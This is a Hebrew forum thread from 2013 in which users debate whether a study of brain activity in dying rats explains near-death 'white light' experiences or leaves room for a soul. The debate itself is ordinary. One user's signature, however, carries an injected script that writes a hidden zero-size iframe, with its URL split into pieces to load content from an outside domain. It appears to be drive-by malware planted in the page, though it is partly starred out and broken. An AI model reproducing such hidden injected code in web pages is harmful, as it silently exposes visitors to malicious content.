| נשלח ב-14/8/2013 14:26 |
 |
| |
חולדות מתרוצצות ונהנות מזיו השכינה
באשכול הקישורים לכתבות/מובאות [ה] ציטט הרב מיכי מובאה והתייחס אליה. כיוון שהדיון מתארך העתקיו לאשכול נפרד. תחילה אני אני מעתיק את הדיון. mdabraham עוד דוגמה, אחת מיני רבות, להנחת המבוקש: http://news.walla.co.il/?w=/15/2669590&m=1 ההסבר לאור הלבן הבוהק שאנשים רואים לפני המוות הוא פשוט פעילות יתר של המוח ברגעי המוות. אכן הסבר מופלא. נשלח ב-13/8/2013 16:20 (לתועלת הגולשים אני (ייתכן) מעתיק גם את הנאמר בכתבה. האם נחשף מקור "האור הלבן" שלפני המוות? מאת: מערכת וואלה! חדשות יום שלישי, 13 באוגוסט 2013, 13:59 רבים שהסתכלו למוות בעיניים העידו שראו אור לבן, שחשו כי עזבו את גופם, או שהביטו בעצמם מוטלים חסרי חיים. מדענים מעריכים כי ייתכן שמה שחוו נגרם מפעילות יתר בגלי המוח המוח הרבה יותר פעיל במהלך הגסיסה מאשר במצב הכרתי (אילוסטרציה: אימג'בנק, Gettyimages) הבזק של פעילות חשמלית במוח יכול ליצור את החוויה המוחשית אותה מתארים אנשים שעמדו בפני המוות ושרדו – כך על פי מחקר חדש שפורסם ב-BBC. החוקרים בחנו חולדות גוססות וגילו רמות גבוהות של גלי מוח ברגע בו מתו. החוקרים מאוניברסיטת מישיגן סיפרו כי בקרב בני אדם, זה יכול ליצור מצב של תודעה גבוהה. ד"ר גימו בורג'יגין שהובילה את המחקר שהופיע בכתב העת של האקדמיה הלאומית למדעים סיפרה כי "אנשים רבים חשבו כי המוח, לאחר מוות קליני, אינו פעיל או בפעילות מופחתת, ואנו מראים כי זה ממש לא המקרה. אם כבר – הוא הרבה יותר פעיל במהלך הגסיסה מאשר במצב הכרתי". בנסיבות מסוימות שאינן מוכרות ומבלבלות – כמו חווית (NDE) Near-Death Experience - המוח הופך מגורה יותר ופעיל יותר, הסביר ד"ר ג'ייסון רייתווייט מאוניברסיטת ברמינגהאם. התופעה היא מין 'חגיגה אחרונה' של המוח" (אילוסטרציה: אימג'בנק, Gettyimages) רבים שהסתכלו למוות בעיניים העידו שחשו כי עזבו את גופם, הביטו מטה וראו את עצמם מוטלים חסרי חיים, בטוחים שרוחם עושה את דרכה אל העולם שמעבר. עם זאת, קשה ללמוד על התופעה הזו בקרב בני אדם. בכדי לנסות ולהתחקות אחר התופעה, החוקרים באוניברסיטת מישיגן בחנו תשע חולדות בעודן גוססות. ב-30 שניות בהן ליבה של החיה הפסיק לפעום, הם הצליחו למדוד את העלייה החדה בגלי המוח בתדר גבוה הקרויים תנודות גמא. אותם פולסים חשמליים מסייעים "לקשר" מידע בחלקים שונים של מוח אנושי. אצל החולדות, הפולסים החשמליים הללו נמדדו ברמות גבוהות יותר לאחר דום הלב מאשר כאשר במצב ערות. ד"ר בורג'יגין סיפרה כי ייתכן שאותו הדבר קורה במוח האנושי, והתנודות הגבוהות הללו יכולות להיות הגורם להזיות שלפני המוות. "זה יכול להוות בסיס בשבילנו להסביר את התופעה. העובדה שהם רואים את האור מצביעה אולי על כך שקליפת הראייה במוח בפעילות יתר – ויש לנו ראיות שמציעות כי זה אולי זה באמת המקרה, מאחר שראינו תנודות גמא מוגברות ממש מעל האזור במוח בו נמצאת קליפת הראייה", אמרה. עם זאת, את ממצאי המחקר יצטרכו להיבדק בקרב בני אדם שחוו מוות קליני ושרדו. מחקר מדעי על אנשים שחוו NDE הוא מאתגר במיוחד מאחר שלא ניתן לחזות את הרגע שבו היא תתרחש – דבר ההופך את האפשרות "לצפות" ברגע כמעט בלתי אפשרי. בהתייחסו למחקר, אמר ד"ר רייתווייט כי "זוהי הדגמה נקייה מאוד לתופעה שמוכרת לנו די הרבה זמן כמו חווית ה'כמעט מוות'- המוח הופך למגורה יותר ופעיל יותר - התופעה היא מין 'חגיגה אחרונה' של המוח". לראות את האור: מה קורה במוח רגע לפני המוות? ייתכן מדוע זה יותר מופלא מההסבר הפנטזיוני המוכר? נשלח ב-13/8/2013 17:23 mdabraham זה בהחלט לא יותר מופלא, אלא אותו דבר. הרי יש כאן שתי היפותזות: 1. האור הלבן משקף פגישה עם משהו רוחני (נשמה, עוה"ב וכו'). 2. האור הלבן הוא תופעה פסיכולוגית-ניירולוגית טבעית. ברור שגם פגישה עם משהו רוחני באה לידי ביטוי ניירולוגי, שהרי כך אנחנו חושבים או רואים. השאלה היא האם הפגישה היא הזיה כתוצאה מפעילות במוח או שהפעילות במוח היא רק אופן התפיסה שלנו את המציאות הרוחנית הזאת. זו השאלה שעליה מתנהל הדיון. כעת צא ואמור לי מה הוסיף ה'מחקר' הזה לעניין שאלה זו? וכי מישהו מכחיש שכשחווים את האור הלבן יש פעילות מוחית? השאלה היא מה הסיבה ומה המסובב. לכן ה'הסבר' הזה אינו יותר או פחות מופלא מה'הסבר' הרגיל. זה פשוט לא הסבר בכלל, אלא סתם תוצאה ניירולוגית די טריביאלית, ותו לא. ושוב אנשי מדע רודפי כותרות רצים לעיתונאים שרודפים גם הם כותרות ולא מבינים מימינם לשמאלם, וכך זוכים לפרסום. זה הכל. נשלח ב-13/8/2013 17:38 ייתכן, גם עכברים "חווים" את האור?... נשלח ב-14/8/2013 00:47 mdabraham ייתכן, לא הבנתי את השאלה. נשלח ב-14/8/2013 02:03 ייתכן, אם הבנתי נכון, אם לא הייתה אופציית הנשמה רלוונטית מטעם כלשהו, אזי ההסבר המשוער של החוקרת כי מדובר בתגובה חשמלית של טרום מוות, סביר. אתה רק טוען כי מנין לנו שהפולסים אינם תוצאה של פעילות נשמה. האם לדעתך גם אצל חולדות יש אופציית נשמה? אם לא, מדוע שלא נניח בפשטות, או לפחות נשער, כי אצל בני אדם מדובר באותה תופעה. ברור שאפשר לומר כי אצל חולדות זה כך ואצל אנשים אחרת, אך טענתך כי המחקר לא אומר ולא כלום, אינה אומרת כלום. מתוך הכתבה: החוקרים באוניברסיטת מישיגן בחנו תשע חולדות בעודן גוססות. ב-30 שניות בהן ליבה של החיה הפסיק לפעום, הם הצליחו למדוד את העלייה החדה בגלי המוח בתדר גבוה הקרויים תנודות גמא. אותם פולסים חשמליים מסייעים "לקשר" מידע בחלקים שונים של מוח אנושי. אצל החולדות, הפולסים החשמליים הללו נמדדו ברמות גבוהות יותר לאחר דום הלב מאשר כאשר במצב ערות. ד"ר בורג'יגין סיפרה כי ייתכן שאותו הדבר קורה במוח האנושי, והתנודות הגבוהות הללו יכולות להיות הגורם להזיות שלפני המוות. נשלח ב-14/8/2013 08:51 mdabraham או שגם הנשמה של החולדות פוגשת משהו רוחני לפני מותן ולכן יש אצלן פעילות כזאת. שתי האפשרויות נשארות שקולות, ולכן איני מבין מה המשמעות של הממצא הזה לענייננו. בודאי אם משה רבנו התגלגל בחולדה הזאת... נשלח ב-14/8/2013 08:58 ייתכן, ברצינות? אתה לוקח אופציה כזאת בחשבון? לא שאני יודע משהו על נשמות חולדה וגלגולי משה רבינו, אבל חשבתי שאתה יודע... נשלח ב-14/8/2013 10:53 mdabraham זו האופציה שעומדת כאן לדיון. לא אמרתי מה דעתי בכל זה, רק טענתי שהאינטרפרטציה של המחקר הזה מניחה את המבוקש. אם אתה רוצה להניח שזו לא אופציה, אין לך צורך במחקרים. אתה פשוט מניח שזו לא אופציה וזהו.
 |
|
|
|
|
| נשלח ב-14/8/2013 14:59 |
|
| |
הרב מיכי, אתה צודק מאד, כי צפייה באותות חשמליים, אין בה כדי להוכיח מאומה על סיבתן. אתה גם צודק כי לעתים קרובות, אף אנשים העוסקים במחקר ובחשיבה, מבלבלים בין ממצא למשמעותו. במקרה דנן אני חושב שהלכת צעד אחד רחוק מדי. אנשים מדווחים על פגישה עם אור בשלבי חוסר הכרה שונים. בהנחה כי הם מדווחים אמת, כל מה שאנו יודעים הוא כי בשלב מסוים של חוסר הכרה (או כל הגדרה אחרת למצב הרפואי הזה) יש תחושה של מפגש עם אור. לולי שאנשים היו סבורים כי יש חיים לאחר המוות, או למצער שישנן ישויות שונות איתן ניתן להיפגש באופן לא פיזי, היינו מחפשים את הסיבה בפעילות מוחית. ייתכן והיינו טועים, כיוון שהאמת היא שמדובר במפגש חובה עם ישויות, כהכנה לקראת המוות, או כסיכום החיים, או אני לא יודע מה. אבל זה מה שהיינו עושים. זה מצביע על מוגבלות מסוימת של החשיבה שאינה ערה לכל האופציות, אבל לא בטוח שהיא מהווה בעיה, כאשר אין לנו סיבה לחפש משמעות אחרת. הרי באותה מידה ייתכן כי כוח המשיכה אינו חוק פיזיקלי, אלא התאחדות של המלאכים דלתתא עם אלו דלעילא. אולי. אבל למה זה משנה. טוענים אנשים כי המפגש האמור הינו הוכחה להימצאות רוח נפש נשמה, או כל שום וחניכי דאית ליה ודלית ליה. אתה צודק, כי מציאת התהליך אין בו כדי להפריך את הראיה, בדיוק כפי שראיית האורות אינה ראיה. אבל אני משער כי המחקר מתכתב עם מי שסבור כי לאדם יש נפש וזה מה שגורם לו לשייך את המפגש הזה עם האור, למשהו שאינו תוצאה של פולסים רפלקסיים במצב מוחי נתון. אותו אחד, סבור גם בדרך כלל, כי התכונה האמורה בלעדית למין האנושי. בדרך כלל הוא גם היה מעדיף לחשוב כי זה בלעדי למין האנושי שאימץ את דת שכונתו ויש לא מעטים הסבורים כך, אך זה מתנגשת בצורה בוטה מדי עם המציאות, למי שמתחשב בה, ולכן הוא נאלץ לוותר ולהסכים כי יש בחינה מסוימת בנפש, הקיימת גם במי שאינו מנוי על דת שכונתו. כך עלתה במחשבה לפניו. בכל הנוגע לחולדות, הוא משוכנע שאין בהם נפש של ממש וכל עניינן הוא רק ביטוי של מערכת האורגניזם המורכבת שחננה הבורא. כלפיו המחקר מכוון. הנה גם אצל החולדה מתרחשת פעילות מוחית זהה (עדיין לא הוכח, אבל עד כמה שיוכח) ואם כן מסתבר כי מדובר באותו פעילות ואם אצל החולדה נפרש זאת כפעילות מוחית חשמלית, הוא הדין אצל בני אנוש. ברור הדבר כי אם אתה סבור כי גם החולדות יקומו לתחיה וישבו בסוכת עורו של לויתן ובינתיים הן מעבירות את הזמן במרדף אחרי חתולים המפריעים לתלמידי ישיבה של מעלה להתרכז בתלמודם, אין במחקר הזה אמירה של ממש כלל ויבטלו אלף כיוצא בו ואל תמות חולדה אחת.
|
|
|
|
|
| נשלח ב-14/8/2013 15:58 |
|
| |
ייתכן, דומני שהדיון הזה יוצא מפרופורציה, ובוודאי לא שווה אשכול. זו פשוט שטות, ואיני מבין על מה הדיון.
אתה מניח שהמחקר מכוון כלפי התפיסה אותה אתה מתאר כך: אותו אחד, סבור גם בדרך כלל, כי התכונה האמורה בלעדית למין האנושי... בכל הנוגע לחולדות, הוא משוכנע שאין בהם נפש של ממש וכל עניינן הוא רק ביטוי של מערכת האורגניזם המורכבת שחננה הבורא.
ואז אתה תוקף אותו מכוח הממצא המרשים שהפעילות הזו מופיעה גם בחולדות.
אבל אם אתה מתכוין להתמודד עם הטענה הנגדית, כדאי שתניח אותה, ולא את מה שאתה שם בפיה. הטענה הנגדית, כפי שהסברתי, היא שבכל יצור חי יש ממדים רוחניים ולא רק גשמיים. גם חולדות אינן רק ביולוגיה. אני לא מכיר אף דואליסט, ובודאי לא דואליסט דתי, שטוען שחולדה היא רק מולקולות. ההבדל בינה לבין אדם הוא ברמת היכולת השכלית, וכנראה גם בחופש הבחירה. זה הכל. התפיסה הדואליסטית-רוחנית הזאת גורסת לכל יצור חי יש נשמה, ובעצם נרנח"י (לפי הקבלה זה גם לצמחים ודוממים).
כעת הטענה הנגדית שאיתה עליך להתמודד היא הבאה: כשהנשמה יוצאת מהגוף היא פוגשת עולם רוחני כלשהו, והמפגש הזה מעורר פעילות מוחית נמרצת. זה בהחלט יכול להיות נכון גם לנשמה של חולדות.
החולדות לא צריכות לשבת בסוכת עורו של לויתן בשביל זה, כטענתך הדמגוגית והלא עניינית. חולדה כנראה רואה גל אלקטרומגנטי בדיוק כמו אדם, ואני מעריך שהנוירונים שלה יתנהגו באותה עת בצורה דומה למדיי לנוירונים שלנו. זאת למרות שהחולדה לא יכולה לפתח את תורת השדות בפיזיקה, וגם לא לקבל גרנטים על כך. המפגש ההכרתי (אפיסטמי) שלה עם האור, הגשמי או הרוחני, יכול להיות דומה מאד לשלנו.
מה שבוודאי נכון הוא שהפעילות המוחית הזאת אינה הסבר לכלום. היא משקפת את החוויה של המעבר למוות, ותו לא. כעת יכול להתנהל ויכוח האם יש מקור חיצוני כלשהו שמעורר את הפעילות הזאת, או שהפעילות היא תוצר ביולוגי גרידא, והיא המקור לחויה ה'רוחנית'. ויכוח נאה, ובהחלט אפשר להבין בו שני צדדים. דבר אחד ברור, המחקר דנן לא מעלה ולא מוריד מאומה לגביו. זה הכל.
|
|
|
|
|
|
| נשלח ב-14/8/2013 16:03 |
|
| |
הטענה שחולדות נפגשות בשעת פרידתן מהגוף עם ישות רוחנית כלשהי מחודשת.
תוקן על ידי ייתכן ב- 14/08/2013 16:10:13
|
|
|
|
| נשלח ב-14/8/2013 16:06 |
|
| |
גם הטענה שהן לא פוגשות שום דבר בעת מותן היא מחודשת לשיטת בעלי הדעה השנייה. על כך הוויכוח, והמחקר הזה לא מעלה ולא מוריד לגביו מאומה.
אם תרצה לדון מה יותר מחודש, זה דיון לא קונסטרוקטיבי במיוחד, אבל בכל אופן הוא דיון אחר שאינו נוגע לנדון דידן (אני מקווה שלא ייפתח גם על זה אשכול כעת :) ).
|
|
|
|
| נשלח ב-14/8/2013 16:11 |
|
| |
כוונתי מחודש בעיניי שיש טיעון כזה.
|
|
|
|
| נשלח ב-14/8/2013 16:13 |
|
| |
לפני כמה שנים כתוצאה מחבלת ראש היתי חסר הכרה תקופה ארוכה והתאשפזתי בתל השומר ובתוך הדימדומים היתי באילת ואף חזיתי מחלון חדרי את הים משהו מופרך לגמרי את חברי שבאו לבקריני שאלתי (רק אח"כ נודע לי) האם הם באו בטיסה. אני מאד רוצה לקוות שהעולם הבא אינו כאילת.
|
|
|
|
| נשלח ב-14/8/2013 18:35 |
|
| |
אני סבור שזה אשכול מעניין מאד, ותודה לייתכן שטרח והעתיק ופתח אותו והעניק לו מקום משלו.
ברשותכם, אני רוצה לסכם מה אנו יודעים ומה אנו משערים ועל סמך מה.
א. ההנחה הדואליסטית: האדם מורכב מנשמה וגוף.
לשון אחר המשתמע מכאן: האדם אינו רק המוח שלו. אם יש לנו חויות, וכל אחד מעיד מנסיונו, זה לא רק בגלל שיש לו מוח.
יתכן שמכאן נצטרך לדון בשאלה המפורסמת מהי נשמה (וממילא, איך עונים על כך). שימו לב שלא ניסיתי לענות על השאלה הזו, ורק כתבתי שאדם הוא יותר מאשר המערכת הגופנית שלו, כולל המוח.
ב. תיאורים - פנומנולוגיים (תיאור החויה בלי להתחייב לנכונותה או להסבר איך היא מתרחשת ומדוע) - של "אור בקצה המנהרה" על סף המוות או במצבי מוות מוחי שהתהפך. יש שפע של חומר. חפשו בגוגל NEAR DEATH EXPERIENCE.
לפי גוגל, בפעם האחרונה שהסתכלתי, יש מן המשותף בכל התיאורים מכל התרבויות.
וראו בסעיף הבא.
ג. מן הידוע בחקר המיסטיקה - כוונתי לאותו תחום מחקר (שיש עוררין על ההצדקה לקיומו) שבודק חויות שמיוחסות למקור אלוהי או על כל פנים על טבעי - שיש להבדיל בין החויה לבין הפרשנות. למרות שהרעיון מופיע כבר ברמב"ם, מי שעסק בו בהרחבה היה החוקר סטיבן כץ.
לפי זה, יתכן שיהיו חויות זהות שזכו לפרשנויות שונות, כגון אם יש התגלות של אל כלשהו, כל חווה יתרגם זאת לפי התיאוריות של דתו.
ולפי זה, מפתיע שהדיווח על חויות NDE דומה ובכולן מתואר אור (אבל כדאי לבדוק אם החויות לא מכילות יותר מזה).
ואמנם, אם נקבל עמדה, מהסוג שאני מחזיק בה בעצמי, כשל קרל יונג, ניתן לשער שיש ארכיטיפים, כלומר סמלים ראשוניים אינטואיטייבים לאדם באשר הוא אדם, ולכן הם יופיעו בכל תרבות.
כלומר, התיאור של החויה כ"אור" נובע ממשהו מהותי לחשיבה שלנו, ולא רק מהחויה עצמה.
ד. הטענה המקובלת (גם עלי, אם כי התימוכין שלה פחות מזה של חוקי הפיזיקה) היא שהחויה המתוארת מתאימה לתיאור של יציאת הנפש ומפגש עם אלוקים שמקבל את הנפש.
לפיכך חוית הNDE היא תופעה המאששת את הטענות המקובלות בדתות שונות.
ה. לפי מה שהתחדש במקורות שצויינו כאן, נמצאה פעילות מוחית שיכולה להסביר חוויות כמו של "אור" גם אצל בעלי חיים.
ו. לא ברור לי האם ניתן לדעת שהפעילות שנמדדה מתאימה לחוית הNDE ואולי זהה לה. איך מזהים תוכן של חויות על פי סוג גלי המוח? האם יש מיתאם שניתן לתרגם דרך מילון של פעילויות מוחיות?
או שיש כאן רק תגלית של התעצמות של גלי מוח וזה כל מה שידוע.
ז. התופעה של גלי מוח כשלעצמה יכולה לספק הסבר לתופעת הNDE ובכך היא לכאורה נוטלת את הצורך בתיאוריה של "התגלות מעבר".
ח. המאמין יכול לטעון שזה שיש מנגנון פיזיולוגי העומד במיתאם (קורלציה) לחויה אינו שולל את העובדה שיש גם משהו או מישהו שמתגלה דרכה.
משל לדבר: זה שאני חווה את מסך המחשב מולי דרך עיני (והפעילות המוחית) זה לא אומר שאין מסך מחשב. דווקא יש.
ט. שאלו כאן מה המשמעות של פעילות מוחית כזו אצל חולדות.
כאן אני מבקש לחלוק על מיכי.
מיכי טען שיתכן שעלינו לייחס לחולדות נפש ולכן גם חויה מקבילה לזו של האדם.
אני סבור שזה מרחיק לכת (זה לא אומר שזה לא נכון. זה רק מרחיק לכת, כלומר לא חייבים להגיע עד שם - מה אפשר לטעון גם נגדי כאן ובהרבה מקומות).
גם לחולדה יש עינים אבל עדיין יש הבדל בין חולדה לאדם. הכללה: לא כל מנגנון מוחי שמשותף לאדם ולחולדה, או שהוא דומה בין האדם לחולדה, מעיד שלנו ולחולדה יש אותו סוג של נפש, יהיה מובנה של "נפש" מה שיהיה.
י. כחיזוק לדברי מיכי (שאינם מקובלים עלי) אזכיר שיש תיאוריות רבות המקבלות ואף דורשות שלבעלי חיים תהיה נפש.
זה נכון לגבי גלגול נשמות בבודהיזם, בהתאם לקארמה שנצטברה בגלגול הקודם.
זה נכון גם לפי קבלת האר"י, שבה יתכן גלגול אפילו באבנים (ואולי צריך למדוד אצלן גלי מוח לפני שהן עוברות מן העולם, סמיילי).
זה נכון אפילו לפי הפילוסופיה הספקולטיבית של הפילוסוף והמתמטיקאי לייבניץ, שהאמין כי העולם מורכב ממונאדות, כלומר יחידות בעלות תודעה (המקור שלי הוא כמובן ספרו של ברגמן. לא קראתי את המקור).
שורה אחרונה:
יש תופעה פיזיולוגית של גלי מוח מועצמים.
יש דיווחים במישור הפנומנולוגי על חוית NDE.
חויה זו יכולה לשמש כהצדקה לטענה שעם המוות האדם עדיין חי ורק עובר לצורת קיום אחרת ובה הוא פוגש את אלוקים.
(זה רק הסבר, לא הסבר הכרחי).
לפי התיאוריה הזו, גלי המוח הם ככל הנראה הפיזיולוגיה שנושאת עליה את החויה, כפי שהמוח נושא עליו את קיומנו כבני אדם (לא כתבתי שאני מבין זאת, אלא שזה מה שיש, ואני הולך בשיטת מו"ר לייבוביץ ע"ה בדבר זה).
לפי זה, קיומם של גלי מוח אצל חולדות אינו מהווה פרכה לשיטה זו.
והנלענ"ד.
****
חלמיש
מה שכתבת עשוי להוות הוכחה שאדם חולם כל מיני חלומות במצב של העדר הכרה. האם הוא הדין לגבי חויות NDE?
כמדומה שאלו שדוגלים בעמדה שהחויה משקפת התגלות, יטענו שיש הבדל מהותי בין החויה מהסוג שלך לבין החויה שלהם (או של כל אדם ברגע הזה). אדם עשוי לחלום על כל דבר, אבל יש חלומות התגלותיים (ודלא כלוינגר).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-14/8/2013 18:41 |
|
| |
הרב מימוני זו מסוג החויות שקשה להסביר אבל זה בפרוש לא היה חלום לגבי אז זו היתה מציאות ודאית. והרי שוחחתי עם אנשים על המציאות הזאת וזה לא היה שיחה מתוך חלום.
|
|
|
|
| נשלח ב-14/8/2013 18:51 |
|
| |
חלמיש
תודה על שאתה משתף אותנו בדבר כה פרטי. הדיווח שלך חשוב ביותר, כי זו העדות היחידה שיש לנו.
שאלה: האם אתה יכול לציין הבדל שנחשב בעיניך למהותי בין חלום עוצמתי וחי מאד לבין מה שעברת?
מה ההבדלים? פרמטרים אפשריים הם: אורך החלום בתוך תוכנו ועל השעון "מבחוץ" כפי שאמרו אחר כך, החיוניות של החויה שנראית מציאותית יותר מחלומית, המשוכנעות שלך בתוך החויה שהיא אותנטית. ואולי יש עוד.
אני יכול להעיד שכמה פעמים חלמתי חלומות, אלו שזכורים לי, שנראו לי בתוך החלום אמיתיים לגמרי, ורק לאחר שהתעוררתי גיליתי שזה חלום (ושמחתי או התעצבתי, תלוי בתוכן הקודם).
אבל אין אומרים למי שלא ראה את הירח או חוה את החויה שיבוא ויעיד אלא למי שהיה שם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-14/8/2013 19:05 |
|
| |
מכיון שמדובר על 'כמעט מוות' ולא על מוות, שהרי מי שמת לא יכול לחזור.
ההסבר - בין המטריאליסטי ובין הדואליסטי, צריך להסביר איך מי שלא מת חווה חוויה שאמורה לנבוע ממוות. מבחינה פיזית וכן רוחנית אין דבר כזה 'כמעט מת', כי כל עוד המערכות עובדות הוא חי, גם מי שהושתל לב הוא 'כמעט מת' אלא שמישהו כאן דאג לו מראש ללב חילופי, אבל מבחינה פיזית הוא שווה לכל המתים מוות קליני ואפילו יותר גרוע. המונח 'כמעט מת' הוא חוייה של מישהו שחושב שהוא הולך למות, אבל הוא מונח חסר משמעות מבחינה ביולוגית. אפשר לדבר על 'פגיעת מח' או גורמים אחרים שלא מתקשרים עם מוות או מעבר לעולם אחר דווקא, אבל אין גורם או מצב ששמו 'כמעט מוות'.
והנלענ"ד כתבתי.
|
|
|
|
| נשלח ב-14/8/2013 19:10 |
|
| |
"אני מאד רוצה לקוות שהעולם הבא אינו כאילת" - שמעתי שאים שם כיפת ברזל, אם לזה התכוונת
_________________
אוי לשכן
ואוי לשכנו
|
|
|
|
| נשלח ב-14/8/2013 19:22 |
|
| |
הרב מימוני כפי שכתבתי קשה מאוד להסביר את החויה ההרגשה היא כמו בחיים עצמם אני דיברתי עם אחרים משוכנע שהם באו בטיסה זה לא משהו שהוא כמו חלום.
|
|
|
|
| נשלח ב-14/8/2013 23:59 |
|
| |
הרב מיימוני, אם אתה מסכים כי אין מקום לחוויה זו אצל חולדות, הרי הימצאות פעילות מוח זהה (אם תימצא, כמובן) תוכיח לכאורה, או לפחות תגרום לנו לחשוב בסבירות גבוהה, כי הפעילות במוח אינה ביטוי של החוויה, אלא כי החוויה היא ביטוי של הפעילות במוח. דרלץ, מה המטריאליסט צריך להסביר?
|
|
|
|
| נשלח ב-15/8/2013 00:46 |
|
| |
ייתכן
לא הבנתי כלל.
אנסה לפרק.
נניח ש"היות חויה אצל" יסומן באות ח'.
בני אדם יסומנו באות א.
חולדות יסומנו באות ל (הח' תפוס).
פעילות מוחית שנמצאת בניסוי תסומן באות פ.
עכשו אתה כותב כך:
אם אתה מסכים כי אין מקום לחוויה זו אצל חולדות
כלומר אצל ל אין ח. או, לא ל וח' יחד.
(יש לזה ביטוי יפה בשפת הלוגיקה אבל זה מצריך אותיות לועזיות וסימונים שאין לי במקלדת).
הימצאות פעילות מוח זהה (אם תימצא, כמובן) - פ אצל א ואולי גם פ אצל ל.
תוכיח לכאורה, או לפחות תגרום לנו לחשוב בסבירות גבוהה,
כי הפעילות במוח אינה ביטוי של החוויה,
אלא כי החוויה היא ביטוי של הפעילות במוח.
כאן צריך סימול מיוחד עבור "להיות ביטוי של". גם לא ברור לי מה ה"להיות ביטוי של" אומר. אבל לעניננו זה לא משנה.
הרי הסכמנו ש"לא ח אצל ל".
אז אם לדבריך פ וח באים יחד (והשאלה היא רק אם זה נושא את זה, גורם לזה, או מהווה ביטוי לזה, אבל שניהם נמצאים יחד)
אז לא יתכן שגם לא יהיה ח אצל ל וגם יהיה פ אצל ל.
ושוב בתירגום לעברית: אם הפעילות והחויה תמיד באות יחד (ובלי להיכנס לשאלה מה גרם למה או מה מבטא את מה), ואין חויה אצל חולדות, אז איך יש להן פעילות?
כמובן, השאלה היותר חשובה, מלבד הבירור הלוגי הצדדי, הוא מה היחס בין חויה לבין פעילות. את המושג "לבטא את" לא הבנתי, אבל אני יכול להציע תשובה גם בלי להבין את הצעתך שלך.
התשובה שלי, שכבר כתבתי כמדומה לעיל, היא שיש מנגנון פיזיולוגי שמאפשר למנגנון הנפשי לעבור חויות. שוב, איני יודע איך זה עובד. אבל זה מאפשר את זה, כלומר זה תנאי לזה (בשפה הלוגית. אבל התנאי עצמו אינו לוגי, שהרי יתכן שאדם יהיה בנוי אחרת).
כלומר, אם המוח הוא האמצעי שלנו לחוות דברים בנפשנו באופן מודע בעולם הזה, אז החויה תמיד תארע בצמוד לפעילות מוחית כזו או אחרת.
אני מקוה שזה יותר ברור ולא פחות ברור. היה נראה לי שהכל היה ברור יותר לפני הדו שיח האחרון הזה שלנו, אבל כנראה זה בגללי.
____שכחתי להדגיש את הציטוטים מדבריך ותיקנתי_____________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 15/08/2013 00:44:53
|
|
|
|
|
| נשלח ב-15/8/2013 01:01 |
|
| |
אני מנסה לפשט. אנו רואים אצל אנשים פעילות במוח. אנו רואים אצלם, בה בעת, חוויה חושית או על חושית. איננו יודעים, אם החוויה עומדת בפני עצמה ואז נסביר את הפעילות המוחית כתוצאה מהחוויה, כפי שהסביר הרב מיכי, או שמא החוויה היא תוצאת הפעילות. עכשיו, בהנחה, כי אצל חולדה אין מצב לחוויה ובהנחה כי אנו רואים פעילות מוחית זהה, עלינו להסיק לכאורה, כי הפעילות עומדת בפני עצמה ואינה תוצאה של החוויה. אם כן מסתבר כי החוויה תוצאה של הפעילות ולא שבמקרה הזדמנו למקום אחד בזמן אחד.
|
|
|
|
|
